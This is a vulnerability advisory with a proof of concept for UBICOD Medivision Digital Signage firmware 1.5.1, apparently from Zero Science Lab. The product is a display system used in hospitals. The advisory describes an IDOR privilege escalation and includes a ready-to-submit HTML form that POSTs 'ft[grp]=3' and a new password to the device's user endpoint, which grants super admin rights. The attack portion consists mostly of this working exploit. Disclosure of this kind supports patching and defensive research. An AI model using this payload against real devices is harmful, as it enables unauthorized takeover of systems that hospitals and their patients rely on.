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UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass

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# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php


19.06.2020

--


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="157" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ft[grp]" value="3" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
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